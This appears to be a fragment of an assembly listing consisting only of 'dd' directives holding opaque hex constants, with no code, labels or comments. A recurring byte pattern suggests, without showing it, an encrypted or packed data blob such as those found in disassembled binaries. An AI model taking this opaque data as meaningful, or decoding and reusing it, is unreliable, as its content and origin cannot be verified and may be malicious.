		dd 6686B41Ah, 6FAD3215h, 3223215h, 0B47FD060h, 0BD57276Ah
		dd 664ABF1Ah, 6FCB3215h, 2113215h, 0EACBDEE1h, 28CCDA10h
		dd 4E53B7D3h, 8F563407h, 66883201h, 2F2C47DEh, 198D8C53h
		dd 0A08F417Dh, 0B593C3B1h, 0CF64B351h, 3D4C7E7Dh, 6BF852EFh
		dd 0B2883215h, 34118BE9h, 9D59813h, 0EA8F0B33h,	0D36075h
		dd 7C84BACh, 0D797CD74h, 69172016h, 6688269Bh, 664BDB15h
		dd 3B753215h, 39242976h, 7F4CD378h, 0A13A755Ah,	3BA7BF00h
		dd 9E17202Eh, 8EE8E2EAh, 66443207h, 0BB9B06ACh,	77F0A223h
		dd 8C220912h, 0FAE43EAFh, 0D12D28FBh, 9A4169C5h, 0E301534Bh
		dd 605D4785h, 663DB71Ah, 0EC1E3215h, 6688320Ch,	664426FCh
		dd 290F7615h, 0DAD39D1Eh, 15724191h, 4CC0E705h,	5830E79Bh
		dd 1794F499h, 218E203Dh, 664437FCh, 6F20A315h, 0AB7957B2h
		dd 934B3431h, 65F587EAh, 0EBDE3407h, 742A6F90h,	6D615213h
		dd 0E9443215h, 75693EA6h, 4DFB775Bh, 99E9D861h,	75AD52C5h
		dd 99223215h, 30C37D6Bh, 0F33FFDFEh, 21B50AFDh,	0BD714D35h
		dd 969136C6h, 0E3015394h, 605D4781h, 0A043CE75h, 74394390h
		dd 0E706D13h, 0B2FF52D9h, 0D797CDE9h, 6172016h,	68E58C73h
		dd 9609E894h, 0EB432CB4h, 742A6F90h, 0B677CB13h, 664CB81Ah
		dd 6423215h, 0B4AF5474h, 0E30153D6h, 605D4771h,	289B5475h
		dd 0E3D7539Eh, 609A1A64h, 68C43D4Ah, 8F223215h,	6611321Ch
		dd 6CA0C306h, 32747293h, 6CCB523Fh, 72113215h, 7863C5E3h
		dd 88FDE52Dh, 6631DB18h, 4C43215h, 14AC00EAh, 0AE479DE7h
		dd 872FD0AFh, 356C0171h, 28E05344h, 8FDADB41h, 6622321Bh
		dd 67EB3B0Ah, 8BFD8CF9h, 89D0A95h, 0D34284AAh, 6AD3B234h
		dd 0D73DCD74h, 8F422016h, 66223205h, 0DF785B2Ch, 0A8131A2Dh
		dd 763A9499h, 331A8EA3h, 5D4CB798h, 6713407h, 0C7DBB9AAh
		dd 5E93523Ch, 66113AFCh, 244C915h, 0D86A4C69h, 994353D2h
		dd 661FDBC5h, 827F3215h, 0C69A5EBEh, 0B3C5586Bh, 536C0714h
		dd 13E0B79Ch, 6EAD340Ch, 0ED223215h, 371BD7B5h,	0A074C996h
		dd 746C4390h, 0E82D6D13h, 6611321Bh, 66883BFCh,	25FB615h
		dd 0E3586888h, 0EEDC4F2h, 0B79B1A5Dh, 664421FCh, 3E60DB15h
		dd 62299723h, 0A81D2728h, 0F3CAD833h, 47611DFCh, 65A087EAh
		dd 74613407h, 7C443215h, 90B5DC76h, 0CDAFCF5h, 0D15D537h
		dd 56CD316Bh, 3BA7BFB2h, 6917202Eh, 6688339Ah, 99BDC715h
		dd 0E3ABC7C5h, 60084779h, 0AC373D75h, 0A6A4B373h, 62485382h
		dd 76115AE9h, 6F613215h, 0E2443215h, 1CFEA19Eh,	0B01764A2h
		dd 6698327Dh, 0ED225215h, 58EDB3DAh, 722F5DCh, 0E8327Fh
		dd 8FA04DABh, 6622321Bh, 20CF2873h, 36E5AE20h, 6F0FC003h
		dd 9943FC0Bh, 74338F80h, 7F043D13h, 8F443215h, 66223201h
		dd 7A28765Eh, 48E5A8D3h, 3F4A3666h, 7CC5ABAFh, 6CEFD030h
		dd 4535B79Ch, 0D9243407h, 756191CCh, 7E8851Ah, 3552B798h
		dd 0E04B340Ch, 66223214h, 6617DBEDh, 6CA03215h,	32747293h
		dd 0DC42E2EAh, 44FAA02Bh, 742B973h, 69AD367Fh, 9B223215h
		dd 50B4DE43h, 7DE1D9BDh, 9948D53Eh, 664A61A9h, 6113205h
		dd 0FC375475h, 95C553B3h, 7192BE39h, 46115A74h,	8FE83215h
		dd 66443204h, 9A366918h, 8A290F6Ch, 0C1F25E12h,	0E4DF2E49h
		dd 9DA9549Ch, 69115874h, 66883395h, 60ADC715h, 0BB223215h
		dd 0B89F172Bh, 0DB1DCD07h, 69422037h, 66222096h, 6A933D15h
		dd 8F883215h, 66443212h, 0C9287157h, 9F087D1Eh,	44EDB79Ch
		dd 68AD3407h, 0CB223215h, 14C5E4B1h, 529013D7h,	2AF2D25Bh
		dd 662ADB12h, 460D3215h, 4D45D0EFh, 0E3CD43B4h,	603033B8h
		dd 87A46275h, 0CE9CA4Fh, 664CDB55h, 0A2493215h,	0B9B6619Eh
		dd 66E01568h, 8F443205h, 66223206h, 97895051h, 4F522FB2h
		dd 22D8E409h, 99C2BF2Dh, 0E5FB535h, 66893215h, 0A1B875h
		dd 0C43FD9Eh, 6600DB15h, 3D643215h, 917EEFC0h, 79D3D26Ah
		dd 8B4E8704h, 993C8EC7h, 74668F80h, 0E3ABCE13h,	60031FF0h
		dd 973DB9E0h, 8F42201Dh, 6622321Ch, 0F105766Dh,	51CE72D9h
		dd 1FD9B990h, 624200Ch,	66CAF094h, 770497Eh, 49E9879Ch
		dd 0EFDB3407h, 740FB788h, 0E7EE5213h, 0DB42C7h,	2DDCFC94h
		dd 1F8CB974h, 68E200Ch,	0C0401CAAh, 32E9B32Ah, 73FEAD7h
		dd 520901EAh, 7A422A31h, 422EB90Dh, 6615F694h, 97093215h
		dd 7E58340Dh, 66DBB1EDh, 5E83B61Ah, 6E613215h, 0B2443215h
		dd 8C8BA31Ch, 0E15AD32h, 668850ACh, 9E60369Ch, 63C2BB45h
		dd 66113211h, 0E18CDA96h, 0EF181611h, 8E421619h, 6611321Ch
		dd 57C83F4Eh, 0DDC88BB0h, 91A354FBh, 74B5BE3h, 69605275h
		dd 99443215h, 170D15EFh, 37BB2257h, 3B3636B6h, 691F4091h
		dd 66222B9Bh, 6602DA15h, 0D6E13215h, 3286659Ch,	0C4860BE9h
		dd 59B260B5h, 0A3555C52h, 69256ABCh, 66223A9Ch,	64973D15h
		dd 6883215h, 93840374h,	7E5FB79Ch, 35E43407h, 53E68F40h
		dd 0ABC538C7h, 62493881h, 59D3C794h, 8D013CEEh,	3D9ABB48h
		dd 989D3D75h, 1DB748AEh, 0E0875325h, 6644320Eh,	0AAAA8875h
		dd 68F973E2h, 0A5883215h, 0D564995Dh, 18B8035Ah, 29FD92A9h
		dd 35E96B65h, 85175EAEh, 3DFC3304h, 46354616h, 35E4DC94h
		dd 0EB4B23F6h, 66223214h, 6BC54ECh, 39878343h, 664434FCh
		dd 3A5B4F15h, 7C771BBh,	3F5E538h, 64F93735h, 222134B6h
		dd 0DB3C1231h, 638E9117h, 46214FC2h, 662238FCh,	65AF915h
		dd 1CC0AE2Fh, 9957CB9Eh, 0D8744A65h, 366B36AFh,	62AC4614h
		dd 88C56C4Bh, 365836AFh, 661137FCh, 8AFCE715h, 0D913CFD6h
		dd 6F4A5D2Fh, 0E715D5D4h, 6A2F7CE2h, 39BA1BA8h,	46064616h
		dd 32FFF494h, 0E8199Fh,	7BCEB9Eh, 333A44EAh, 3E0352A8h
		dd 42E41B4Ah, 0E71B6F11h, 3E3052D2h, 6601DB4Ah,	0E78E3215h
		dd 0F2755387h, 384497C9h, 9739EC31h, 0DB013AC2h, 60562C1Ch
		dd 67A93D75h, 9F113215h, 7AFC295h, 0E34BCD90h, 6622322Ah
		dd 661CB41Ah, 6E613215h, 81443215h, 0AECCC881h,	8E7F52AAh
		dd 66886D82h, 6643B81Ah, 0E62D3215h, 66113214h,	6250DBEDh
		dd 76AD3215h, 65223215h, 5774FA91h, 3BBCCFC5h, 6513B2E7h
		dd 0EC018E5h, 66113B25h, 69AC3E9Ch, 66442091h, 662FDB15h
		dd 1A23215h, 0CA4C9CC2h, 0FA2CB09Dh, 316B5403h,	0DA350694h
		dd 3CDCDE09h, 7AF88C43h, 941366F9h, 661DDB4Bh, 30E73215h
		dd 3AA567BBh, 15ACD2A3h, 0B47A15F1h, 61053D11h,	69443215h
		dd 66223390h, 0F398C715h, 609A32C4h, 6EC33DEDh,	69223215h
		dd 66113093h, 0CE95215h, 662CCA11h, 6223205h, 0B99AF2A7h
		dd 152B5A74h, 72CD3215h, 6648CB31h, 8FE852EDh, 6688321Eh
		dd 0A6AF43E3h, 65551724h, 7372DC5h, 4435A7EAh, 6CAD3407h
		dd 7D223215h, 0F700B192h, 0B51421D4h, 0B7C1BBE2h, 8F24200Ah
		dd 66113213h, 0EF63BA4Eh, 0ED1442DDh, 0A2A11601h, 75953D11h
		dd 8F883215h, 6644321Bh, 0F04AD2Ch, 36DB35Dh, 0CEE0ACA8h
		dd 52BB51A8h, 0A2A36B31h, 66113211h, 6684BA1Ah,	61AD3215h
		dd 6D223215h, 994E05C5h, 1260D57Ch, 8F44324Bh, 6622321Ah
		dd 0FD49EF86h, 0E2F1A7CBh, 96F4C84Bh, 35C5C724h, 0A590D19Ch
		dd 66883211h, 6640D994h, 7AA53215h, 52986E31h, 68083D31h
		dd 6443215h, 662235FCh,	0A02D9715h, 0AFBAB02Fh,	0E44B9F74h
		dd 6622321Dh, 6613B01Ah
		dd 7E83215h, 4F15EC10h,	215C1F3Ah, 22122DCEh, 188D1631h
		dd 4B5BE952h, 490B63CBh, 57E903EDh, 9F7003D2h, 4270B342h
		dd 45A3441Ch, 0F5AF644Eh, 0E791BB5Dh, 6196B8FBh, 38D103E3h
		dd 69F85275h, 57883215h, 0B3CBBABAh, 0EB576C0Ch, 4B0477CEh
		dd 0E90983h, 35D8F294h,	62CEB374h, 0EF113215h, 56711629h
		dd 6650DBD5h, 42A63215h, 93B8C089h, 7A8BD15Ah, 0D56D6965h
		dd 0BD9C0F3h, 13BF0BD0h, 606152E8h, 7F443215h, 976F31B7h
		dd 6715357h, 8E778D1Ah,	66443210h, 67AD465Bh, 0E7706D3Ah
		dd 13172CD6h, 52BB5343h, 0A2A36C31h, 66113211h,	0AF4FB3E9h
		dd 4F5E4D3Dh, 0AF9F67CAh, 4F0B4D3Dh, 33746FFAh,	0A3C5D79Ch
		dd 66223211h, 0E115DF96h, 0EFD41639h, 0ED241601h, 0ED7553DAh
		dd 0A2921601h, 670B3D11h, 9F443215h, 0DB9FB9EDh, 69172036h
		dd 66882999h, 77AC5215h, 4F223215h, 765F161Bh, 9992F3F3h
		dd 0C148FDAFh, 0D23FC35Bh, 7DFB94Bh, 9977CDACh,	81C552EAh
		dd 7DC613F5h, 66113FFCh, 10705615h, 61008B38h, 16376461h
		dd 5770D16Fh, 6F6052D5h, 31443215h, 0FF88DA02h,	60E926E2h
		dd 8FD0E29Eh, 66443218h, 0ED91AEE6h, 0C8D1B0E5h, 63F060Ah
		dd 0E1653E3h, 66223215h, 0ECE3334Fh, 0E9876817h, 66443206h
		dd 66223CFCh, 9E05C515h, 0CFD9A213h, 0D102F2BFh, 56B21247h
		dd 0ED7752DDh, 67023DEBh, 9A443215h, 679D6574h,	67113215h
		dd 0E6E86DEBh, 0D94BB1F0h, 52DD53CCh, 423DB392h, 4A5809B7h
		dd 5DE6374Dh, 0E32D1EC5h, 66113214h, 6E61F3ECh,	68503ECh
		dd 662BDBE0h, 0AE733215h, 2811C116h, 7F57D26h, 6A73D5Fh
		dd 9FEECDEAh, 0CE356744h, 575FDD40h, 3B261679h,	33B9074Dh
		dd 69E829FAh, 6644339Eh, 0D92DC715h, 0E14153EFh, 0B07F1621h
		dd 3E600692h, 662223FCh, 0B90E4D15h, 1F5DDDF0h,	0F5197551h
		dd 0CE4D4B3Bh, 52EEF0AFh, 0A20B6831h, 7DCD3D11h, 6223215h
		dd 8FC8B973h, 66883204h, 0E6FFC15h, 9E9C4BBAh, 0C245F815h
		dd 455F304Ah, 361353E9h, 3918BB4Ah, 6601DB75h, 0FE033215h
		dd 6A8E5AB5h, 9D267CC5h, 8895BB5Ah, 0E7EE7667h,	753F4F7h
		dd 6626DE94h, 52983215h, 668C8C31h, 94453215h, 662ADB4Bh
		dd 0C3C43215h, 0AF77CD50h, 0AF2C3259h, 0EF223217h, 0EE1E1601h
		dd 66883218h, 66443AFCh, 2F558915h, 0C18520EEh,	1B0DCD53h
		dd 9342200Dh, 7E5FA79Eh, 0E41E3407h, 66883214h,	664BDBE0h
		dd 0AFBA3215h, 3A10F8F2h, 5053F43h, 4FE5C11Eh, 6FB70B9Ch
		dd 6917200Bh, 66884D91h, 6654DB15h, 8F7A3215h, 0EBA49DC1h
		dd 0F455CF8Eh, 0A9F9AEB0h, 52DD115Ch, 0A2906831h, 66883211h
		dd 664438FCh, 6F00DE15h, 19C76392h, 0ED77C15Ch,	0EF141621h
		dd 662637F5h, 62143215h, 0E1883215h, 9E181611h,	629C6444h
		dd 0EF113215h, 0A8896CE4h, 6654DB4Ch, 79CC3215h, 0A7051C61h
		dd 0CD6360ADh, 0DC0869B0h, 0EA2D8B0Bh, 66113214h, 9A1DDBEDh
		dd 6FADCDEAh, 4F223215h, 5C156D83h, 0CC173F3Dh,	3C6006EAh
		dd 6926F696h, 66113C9Bh, 6681DB15h, 0D86E3215h,	13A6BCBEh
		dd 994ED6FEh, 0E7D61621h, 664436D1h, 69AC3D15h,	8F113215h
		dd 6688321Fh, 66CEB70Ah, 0D8D8F6B9h, 8F70C96Eh,	6688321Ch
		dd 251FE067h, 0DB7E64B8h, 6A9C3D1Ah, 8F883215h,	66443212h
		dd 8360766Bh, 0EDB3E9C1h, 0EFDF1619h, 6283B3F2h, 0E7223215h
		dd 661136D2h, 42B4B515h, 6655DB49h, 0EA0D3215h,	5EB86DC4h
		dd 63C8932Dh, 24BD9A11h, 8F08E25Dh, 66113206h, 927FCBF2h
		dd 0AEB98E04h, 56DC5A71h, 50668017h, 99F7B8DFh,	0E71C1621h
		dd 662236D1h, 0ED775215h, 0C5DD8DCCh, 62500E7h,	94A354ECh
		dd 0A1707475h, 74A80390h, 66443213h, 6EAE3D15h,	69113215h
		dd 66883090h, 9F255215h, 67C3B7D2h, 66113407h, 75613215h
		dd 39443215h, 0E0B3CEF9h, 2C8DEE48h, 58CC180Fh,	2388385Bh
		dd 0DBA167A5h, 600846C1h, 5D0C3D15h, 9A443215h,	0F054AF98h
		dd 0E31E340Dh, 66883201h, 66443DFCh, 0B1F6A315h, 0F2444120h
		dd 9B034C5h, 13970824h,	8FF1CDEDh, 66113207h, 317B132Ah
		dd 0AB3FAA29h, 2B5F8F3Fh, 6EF2A2Eh, 0E3778EA2h,	605627C0h
		dd 63A03D75h, 0DE113215h, 6400FD7h, 9EB975h, 7E71CABh
		dd 0B3ACB174h, 28E2000h, 6472B01Ah, 63CB3215h, 75113215h
		dd 28C2EAC8h, 7391B7D2h, 66233407h, 72F83215h, 0DA883215h
		dd 97CEEE56h, 98150B14h, 13B84010h, 1E90D76Bh, 6DBF58Dh
		dd 662234FCh, 6CE2EC15h, 9F7F18EAh, 357BB798h, 99D7340Ch
		dd 0D39CCBC5h, 609147B1h, 26F9BFECh, 93242814h,	24CBDD94h
		dd 0A1095454h, 33B15C50h, 89A3C53Ch, 33E45C50h,	2452F594h
		dd 9E245454h, 6621BF1Ah, 0A3913215h, 0EFD8534Bh, 0ED86BBEDh
		dd 0A2A31611h, 66113211h, 6689B91Ah, 0EDB13215h, 74018FA8h
		dd 6603DB13h, 0E2693215h, 78339893h, 736CD179h,	0BE28FA0Dh
		dd 475E9973h, 99BBCDACh, 0A613CEEAh, 6619DB75h,	29703215h
		dd 0B2382839h, 0D12DA545h, 8E7153DAh, 66883206h, 8CFFAA69h
		dd 32425754h, 0D695194Fh, 0E621058Fh, 691509B1h, 66223294h
		dd 0A89A6815h, 66316374h, 0E7443215h, 0E97FE2D4h, 0E7E03326h
		dd 0E9D5E2FCh, 3F45B826h, 6626B01Ah, 37713215h,	0AEB8534Ch
		dd 664438FCh, 5AC69815h, 0D5FDB682h, 6AB41CEh, 66443EFCh
		dd 0EB7E7415h, 0C2001EC9h, 0FA43FA2Fh, 0DC16533Eh, 99DDCDEAh
		dd 934BE43Ch, 300F06EAh, 40580EABh, 42563345h, 4B496C11h
		dd 36AE2E29h, 664420FCh, 0FC6F3015h, 97374537h,	8C89E270h
		dd 52C78EDAh, 0A70B519Eh, 9EE93AFCh, 2C71F324h,	9904B71Ah
		dd 6DCBCDEAh, 7E113215h, 5A97D36h, 71978E6Ah, 37779461h
		dd 3BF9BB48h, 620F62E0h, 0E194C531h, 697A1611h,	66113B9Ch
		dd 0DEEE5215h, 0ED226BABh, 0E31B53D7h, 60032A20h, 6600B61Ah
		dd 0DEB13215h, 53CF6E1Ch, 4313D2D4h, 18EF043Ah,	0E8FB6555h
		dd 4730576Eh, 7C146DEDh, 4BA98B1Eh, 559A090Bh, 6623B31Ah
		dd 6DE43215h, 4F0D3DD5h, 8F443215h, 66223219h, 0FCED6D2Bh
		dd 7AE3394Eh, 0D9F5698Dh, 6625BC1Ah, 0E11E3215h, 66883214h
		dd 27C1F5E0h, 6724203Ch, 93113215h, 66DCC77Dh, 4268BB15h
		dd 577B88A8h, 3BF83315h, 6690BD1Ah, 8F243215h, 66223218h
		dd 5674237Ah, 0D1F83A96h, 5A00D2D9h, 0E39A5462h, 93705307h
		dd 2B1D8847h, 3F166DEDh, 6628DB4Fh, 67D3215h, 740A6800h
		dd 40F248E0h, 81B47C7Dh, 4205B90Fh, 8F8CF696h, 66443212h
		dd 67540615h, 6CB8845h,	76D85E9h, 67CB3DB8h, 93223215h
		dd 66113DFCh, 74499C15h, 7B287267h, 0B72755D4h,	0CC309663h
		dd 4925879Ch, 36B83407h, 662232ADh, 9A57BB15h, 0E5AC369Eh
		dd 5BBD36D1h, 88CCDCFBh, 66CBB71Ah, 0E7703215h,	0BB99EF2Bh
		dd 0ABA73DC8h, 8F113215h, 66883207h, 0EE6F9C01h, 0B561334Eh
		dd 0F1EC39h, 6C6BBAF6h,	0DE149C5Ah, 28F37637h, 66113338h
		dd 44BD7215h, 0EF0AE351h, 0E5DE6A13h, 629836F9h, 668C8A31h
		dd 0A0453215h, 0A9A9524Dh, 661126FDh, 782BD115h, 0DEB95E35h
		dd 417D9D0Bh, 920D95AFh, 494CCDB1h, 12FF54A1h, 0EF43685Dh
		dd 743E9FA0h, 61053D13h, 69443215h, 6622339Fh, 0E71ECB15h
		dd 66883214h, 4A66DBEDh, 77CB3215h, 0E1113215h,	4F282DEFh
		dd 0BE2CDC4Fh, 34AC637Ah, 719B6004h, 668821FCh,	977EED15h
		dd 0D2662A44h, 43EF6580h
		dd 192DF55Bh, 0B2720B5Bh, 99DCE1FCh, 74F852EAh,	7F883215h
		dd 209A2873h, 364FAE20h, 6F5AC003h, 3511FC0Bh, 188DB398h
		dd 74F254Eh, 51AC6745h,	5794A83Ah, 3B401679h, 51D1B34Eh
		dd 60DA83Ah, 486FB373h,	0B1CF543Ah, 73A13D74h, 69113215h
		dd 66883D94h, 664EDB15h, 0A5A03215h, 0EB95542Eh, 70587661h
		dd 4F05B726h, 0E6423407h, 0E777ACDAh, 7E749F2h,	9F47FAD4h
		dd 2B6D7538h, 30C11B51h, 0D3E5BCABh, 3BB2B363h,	2860BE1Ah
		dd 6779DC94h, 0A8093454h, 0F7C7087h, 8D6FF494h,	9610E441h
		dd 6682DB4Bh, 0DF713215h, 27A29EE9h, 65CCC6B6h,	8F98F2D4h
		dd 66443204h, 3AA5FCF1h, 0E6518469h, 0E9D53980h, 0F3D06A45h
		dd 69EA03A2h, 66112A90h, 740B3D15h, 8F443215h, 66223218h
		dd 0D9D872A0h, 0E16CE1AEh, 5CF70F97h, 27BFBB78h, 8F17203Ch
		dd 66883212h, 8A596B5Eh, 5BC60CAFh, 66103215h, 6768B11Ah
		dd 0EA4B3215h, 6622321Dh, 0CFB975h, 79A5CAFh, 0DDFF0C94h
		dd 0E32D89AEh, 661133D3h, 64093D75h, 35443215h,	0A4A9544Fh
		dd 661ADB74h, 28EC3215h, 7A577345h, 6E043EB5h, 16AE6528h
		dd 0A7A4585Ch, 0A70B35FAh, 0E76530F2h, 90F2CDAh, 0C7326074h
		dd 67DAA2B4h, 58AB68C2h, 77F8524Ah, 0CA883215h,	0E04456F5h
		dd 6AE19F0Bh, 2047C5EEh, 3C6CFA68h, 724D695h, 66223EFCh
		dd 54692015h, 8F7B61C2h, 0A3F2C978h, 629D65A1h,	67113215h
		dd 42B4B9EBh, 6940F696h, 66223595h, 679C3D15h, 93883215h
		dd 49E9879Ch, 0EC2D3407h, 66113214h, 1F15B9E0h,	8F42200Ch
		dd 66223212h, 5FBF8096h, 99DFE5C3h, 4248B926h, 9326F696h
		dd 4205B945h, 698CF696h, 66443E97h, 60A33D15h, 69113215h
		dd 6688329Eh, 6FAD5215h, 74223215h, 32C9D5E2h, 445F0927h
		dd 35B6B375h, 158624h, 0CD96D494h, 62096074h, 0D92F1431h
		dd 0D8746A0Ah, 79137675h, 1884DC94h, 80C56F91h,	1E417C7Ah
		dd 0B80DC94h, 900974D6h, 80668180h, 9A7CC23Ch, 7FCCB73Eh
		dd 8FE83407h, 66443218h, 0BC14B58Dh, 0AFF2EF01h, 0D96402DDh
		dd 6655DBB1h, 739B3215h, 4C89573Ch, 0D27562CFh,	0E17D0379h
		dd 70B3394h, 613D2D4h, 90095444h, 0E71DDA9Ah, 0B9DEFBD6h
		dd 0E3125301h, 609A1E48h, 664434FCh, 14F25215h,	3629CA93h
		dd 668CDE94h, 52CD3215h, 67C6A31h, 0BFC1ABh, 9F255342h
		dd 6FE38847h, 0E7680CA1h, 6C0EDCE7h, 3C583302h,	2E69FA14h
		dd 9A0B8C03h, 4255BBECh, 7D0E3D09h, 6443215h, 66223AFCh
		dd 11B68915h, 3E915500h, 6643DB82h, 1B583215h, 0EE3A9C01h
		dd 69E9534Eh, 66443399h, 91CBCA15h, 69113217h, 66883394h
		dd 0EF15CB15h, 62E3B3F4h, 0E5113215h, 6A0F36FCh, 6ACD6E31h
		dd 0A84ACE31h, 0EF11325Ah, 8EE81601h, 66443219h, 0C2EF9798h
		dd 754CF5E3h, 0CFE3540Dh, 691E6844h, 66223493h,	669D3D15h
		dd 7883215h, 6EADFB24h,	0EE223215h, 0D4C30116h,	0EDE6E532h
		dd 745BE380h, 6624DB13h, 604D3215h, 0A7AFFE19h,	0E24B302Eh
		dd 662232ADh, 0D84765EDh, 544044F8h, 0AE32DBAAh, 38D50327h
		dd 694EC814h, 66882095h, 6ACC3D15h, 8F223215h, 66113212h
		dd 0D3677780h, 8FA906D8h, 66223206h, 5DD2B010h,	1205B673h
		dd 1452E251h, 35AC3289h, 344956ADh, 668833AFh, 3C953315h
		dd 662AB51Ah, 69713215h, 66883298h, 0EB7F5315h,	60302C1Ch
		dd 9983B71Ah, 34E8CDEAh, 0E29DB373h, 67946DFBh,	0CD796374h
		dd 3F9F9528h, 26CD394h,	0B7D52597h, 0BDC6C394h,	0AE01DA68h
		dd 67CC3D4Ch, 9A223215h, 2BA4BF98h, 99703407h, 68CA3DF4h
		dd 8F223215h, 6611321Ch, 8F175020h, 8DE3ED04h, 4698527Bh
		dd 3410DD79h, 7D26845h,	7E39BF9Ch, 0E42D3407h, 66113201h
		dd 66883DFCh, 5315B615h, 8235B158h, 41BF2ADEh, 0B66CFCD6h
		dd 3160269Eh, 0A1A3D59Ch, 66113211h, 668CF594h,	5AC33215h
		dd 0E6426E31h, 0E4AE2FF4h, 7B298D1h, 34603E9Eh,	0A4A3D09Ch
		dd 66113211h, 0E18CF096h, 9A181601h, 662DB81Ah,	6CF83215h
		dd 9F883215h, 0ED3C43B0h, 0EC69F712h, 202E5A03h, 52013215h
		dd 0FBCFCA31h, 60302B6Ch, 661BDB75h, 6FDC3215h,	8D6FCD04h
		dd 22D9D917h, 1C318973h, 0EDBBCD74h, 0A2C71619h, 67A83D11h
		dd 9F113215h, 7EF5B79Eh, 0EB4B3407h, 6622321Dh,	6613B01Ah
		dd 7E83215h, 0D024D2C4h, 7D3B82Eh, 6BFCB716h, 0E2873407h
		dd 66443214h, 8FD403E9h, 66113207h, 809F572Bh, 720357BBh
		dd 0F9A1A7DDh, 0ED53C895h, 96B93534h, 9675F424h, 662220FCh
		dd 27523D15h, 89F3F029h, 0C9453D1Eh, 2BC3468Dh,	4EA962h
		dd 67063DB8h, 9A443215h, 6920D2D4h, 66113391h, 0E38BCE15h
		dd 60561E48h, 6636B11Ah, 8F713215h, 6688321Fh, 379C685Eh
		dd 0D74AFF34h, 0D91E8E1Bh, 0EB8753DCh, 6644320Ah, 663BBF1Ah
		dd 72F83215h, 0AD883215h, 0DACF3D20h, 852B142Ah, 0FA5CF640h
		dd 74A00D0h, 36AC6994h,	52A96A43h, 62D5B131h, 9B305475h
		dd 15F88A31h, 6432A8Eh,	6613BA1Ah, 94033215h, 3A0BE3AEh
		dd 698F535Eh, 66113395h, 35A5CE15h, 67741500h, 0FC9B63DDh
		dd 0E71E7D35h, 0E5B3E4h, 0BF8DB35Fh, 0E70D4D6Ch, 0C1864AD4h
		dd 3F4033D5h, 0E64B52E9h, 66223211h, 0F9FB8A73h, 7588D1Ah
		dd 3560069Eh, 0A5A3D19Ch, 66113211h, 668CF194h,	7AC33215h
		dd 69426E31h, 66113292h, 7E86115h, 0DBC7534Eh, 6030379Ch
		dd 0A3953D14h, 9E883215h, 665DBC1Ah, 72CB3215h,	7A113215h
		dd 853F1FC9h, 0CC3C68FEh, 1589DB9Ch, 3B51BBE6h,	5DB68D33h
		dd 74478398h, 0FFA63D13h, 9F113215h, 7BB1BF2Eh,	0E24B3407h
		dd 66223299h, 6610B61Ah, 5D703215h, 7466DF98h, 1FA63D13h
		dd 69113215h, 6688339Dh, 0FBC9C715h, 603BE100h,	6C2CDE0h
		dd 0DB77A6h, 71EEB9Eh, 52A36246h, 817A9031h, 95096948h
		dd 3BA359B7h, 6979ED9Ch, 6611339Eh, 0E301C715h,	60562BD4h
		dd 6DCACE75h, 7F113215h, 1DAFE4DCh, 399E7187h, 519A2C2Dh
		dd 3C728479h, 79AEDB74h, 0EC4B3215h, 66223209h,	6607B31Ah
		dd 77613215h, 0E1443215h, 3A7835AFh, 64945554h,	0FE362B60h
		dd 96943C48h, 0B537AF98h, 0E81E340Ch, 6688321Ah, 664438FCh
		dd 5A4A1015h, 43E9BB2Eh, 9988D88Dh, 6642DBC6h, 0DC213215h
		dd 46B8B9Eh, 6689BE1Ah,	0E5B13215h, 7427BBA8h, 0E21E3213h
		dd 6688328Dh, 74C53DECh, 6223215h, 661137FDh, 1F79E015h
		dd 1EC54Dh, 859ADD94h, 0FF940974h, 698E2003h, 66446791h
		dd 68CA5215h, 0A1113215h, 455BDA73h, 43EC92CDh,	2EE88EDDh
		dd 3C70523Dh, 66883DFDh, 6192DB15h, 0F078F333h,	46DB161Fh
		dd 9F62D8Dh, 6644BC1Ah,	77D3215h, 4CE8B72Eh, 0E3873407h
		dd 66443221h, 662222FCh, 3440F915h, 0D1CF3CDFh,	0A2389808h
		dd 0F2ED805Fh, 0B5F8CBD7h, 8F77CDEBh, 66443201h, 6C443B96h
		dd 0D636D81h, 0C4645750h, 9263FBCDh, 0AE5D7D54h, 5794B72Eh
		dd 0E3873407h, 66443287h, 6638BF1Ah, 8F713215h,	66883204h
		dd 0CBA700Ah, 6FA29672h, 5183F5A0h, 5EF8F1A4h, 71E643Ch
		dd 662221FCh, 5F04BB15h, 0E14C2576h, 2DBB43B7h,	3ACE8DF1h
		dd 0E8A885C6h, 61258F96h, 69443407h, 66221D91h,	661CDB15h
		dd 0C3953215h, 9EE57208h, 0BD5E5D18h, 9383349Fh, 76CD8F96h
		dd 69443407h, 66221F91h, 6F983D15h, 6883215h, 66C73DE0h
		dd 7223215h, 3A33B798h
		dd 6B61340Ch, 87443215h, 0A536B2ACh, 0D9A36870h, 0D53A34BFh
		dd 99BA2FFCh, 0E319C7EAh, 60030390h, 9898B61Ah,	0DD24CDEAh
		dd 65FF706Bh, 669B3D75h, 7883215h, 0DEF9B174h, 67242B61h
		dd 6647B71Ah, 0EE873215h, 6644320Ch, 7ECDB375h,	8F1F9ED4h
		dd 66883219h, 6CB4113Eh, 60089E6Bh, 627EB727h, 8A0D0974h
		dd 69422B61h, 66221990h, 639D3D15h, 6883215h, 7B6851Ah
		dd 6DC6B798h, 69F8324Ch, 2F883215h, 3D092F55h, 1EC56541h
		dd 16800CA4h, 0D761A633h, 9FBBCDE8h, 0D742CD24h, 0E570CAC3h
		dd 749557A8h, 0E24B3213h, 66223D89h, 66113BFCh,	0D83B5315h
		dd 86DB91E7h, 0E31979C4h, 600846CDh, 66C5B71Ah,	69BD3215h
		dd 66222490h, 6600DB15h, 681A3215h, 2F3F660Ah, 0D9A63A52h
		dd 0D611EC59h, 0ED231553h, 74699790h, 662DDB13h, 0F2513215h
		dd 1D1351C8h, 2767B8F3h, 43178B89h, 2AC67A6h, 0E7A75A62h
		dd 0E57555E0h, 9AE7B368h, 4FBC26ACh, 5D7D6FFAh,	7F30D290h
		dd 36A73D13h, 69113215h, 66882795h, 6654DB15h, 34E13215h
		dd 4B12F0E1h, 0D7C65531h, 0BA668321h, 0E3A9436Eh, 60031F6Ch
		dd 66883FFCh, 213B915h,	5ED6B24Ch, 0B87E8DC8h, 0D5E8DA14h
		dd 91ADB36Eh, 7360B61h,	99EE8A45h, 0A1A1CDEAh, 0E715524Dh
		dd 0E35023E4h, 5D706C6Fh, 7FFCEE90h, 17C13D13h,	69223215h
		dd 66112597h, 6D615215h, 0FB443215h, 0B1F7EA1h,	2625A8D2h
		dd 0E7EE550Bh, 73892C6h, 662EB01Ah, 0EF1E3215h,	66883213h
		dd 6644BE1Ah, 0E3A93215h, 6003344Ch, 14588D75h,	0DD225E38h
